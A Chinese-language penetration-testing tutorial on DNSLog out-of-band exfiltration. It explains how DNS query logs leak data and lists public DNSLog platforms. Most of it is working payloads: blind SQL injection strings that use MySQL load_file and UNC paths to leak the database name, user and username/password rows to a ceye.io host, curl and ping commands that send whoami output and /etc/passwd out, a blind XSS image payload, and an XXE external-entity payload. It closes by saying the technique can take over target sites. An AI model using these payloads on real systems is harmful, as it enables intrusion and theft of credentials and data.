0x01 原理
NS(Name Server)記錄是域名服務器記錄,用來指定該域名由哪個DNS服務器來進行解析
DNS:域名解析服務器
A記錄:指定域名對應的IP地址
一句話歸納😪😪:
將需要查詢的值和域名拼接起來,向域名發送請求,DNS在解析的時候會留下日志,讀取日志便可以獲取信息。
- 案例解釋
ping `whoami`.test.com //發出請求
ping root.test.com //實際請求
whoami
在命令行中就自動解析了,所以其實是向root.test.com
發出的請求,這時就會被DNS服務器所捕獲,我們就能從日志中獲取命令執行后的結果了。那到底怎么利用DNSLog進行注入呢?其實只要是能夠發出請求的地方都可以用這種方式獲取數據。
0x02 DNSLog平台
一、在線平台:http://ceye.io
、http://www.dnslog.cn
二、自己搭建DNSLog服務器:https://github.com/BugScanTeam/DNSLog
三、 BurpSuite collaborator
點擊Copy to Clipboard獲取一個標識
比如我這里獲取到的就是s6z9p5lykbxh0m8wx3vy44qg278xwm.burpcollaborator.net
然后用這個外帶就行了
0x03 DNSLog常用場景
- SQL盲注
- 命令執行(無回顯)
- XSS(無回顯)
- SSRF(無回顯)
SQL盲注
以MySQL為例,在MySQL中有個一個load_file函數可以用來讀取本地的文件。前提是root權限。
show variables like '%secure%';查看load_file()可以讀取的磁盤。
- 當secure_file_priv為空,就可以讀取磁盤的目錄。
- 當secure_file_priv為E:\,就可以讀取E盤的文件。
- 當secure_file_priv為null,load_file就不能加載文件。
⚠️ 注意:load_file函數在Linux下是無法用來做dnslog攻擊的,因為在這里就涉及到Windows——UNC路徑。
UNC路徑:UNC是一種命名慣例, 主要用於在Microsoft Windows上指定和映射網絡驅動器. UNC命名慣例最多被應用於在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式。
平常在Widnows中用共享文件的時候就會用到這種網絡地址的形式:\\sss.xxx\test\
這也就解釋了為什么CONCAT()函數拼接了4個\了,因為轉義的原因,4個就變\成了2個\,目的就是利用UNC路徑。
⚠️ 如果查詢的數據中出現了非字母數字的特殊字符,需要進行轉義,這里用16進制。原因是如果出現如逗號,@符號等特殊符號,不能形成標准的dns域名,無法發出數據。
- 幾個例子
直接讀取
http://127.0.0.1/sqli/Less-5/?id=1' and if((select load_file(concat('\\\\',(select database()),'.4do468.ceye.io\\abc'))),1,0)%23
hex轉碼
http://127.0.0.1/sqli/Less-5/?id=1' and if((select load_file(concat('\\\\',(select hex(user())),'.4do468.ceye.io\\abc'))),1,0)%23
取數據
http://127.0.0.1/sqli/Less-5/?id=1' and if((select load_file(concat('\\\\',(select hex(concat(username,0x7e,password,0x7e)) from security.users limit 0,1),'.4do468.ceye.io\\abc'))),1,0)%23
命令執行
Windows下
查看計算機名,其他類似
ping %COMPUTERNAME%.xxx.ceye.io
Linux下
查看當前用戶和passwd文件,其他類似
curl http://ip.port.xxx.ceye.io/`whoami`
curl http://ip.port.xxoo.ceye.io/`cat /etc/passwd`
XSS
通過盲打,讓觸發者瀏覽器訪問預設至的鏈接地址,如果盲打成功,會在平台上收到如下的鏈接訪問記錄:
payload:><img src=http://xss.xxxx.ceye.io/aaa>
SSRF
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.xxx.ceye.io/aa">
%remote;]>
<root/>
0x04 總結
- 有些函數的使用具有操作系統的限制。
- DNS查詢有長度限制,所以必要的時候需要對查詢結果做字符串的切割。
- 避免一些特殊符號的產生,最好的選擇就是數據先編碼再帶出。
- 注意不同數據庫的語法是有差異的,特別是在數據庫拼接的時候。
- 有些操作是需要較高的權限。
🌈🌈 利用DNSLog攻擊的方法,能更加簡便、高效的進行滲透測試,並且擁有足夠權限,可以直接拿下目標站點。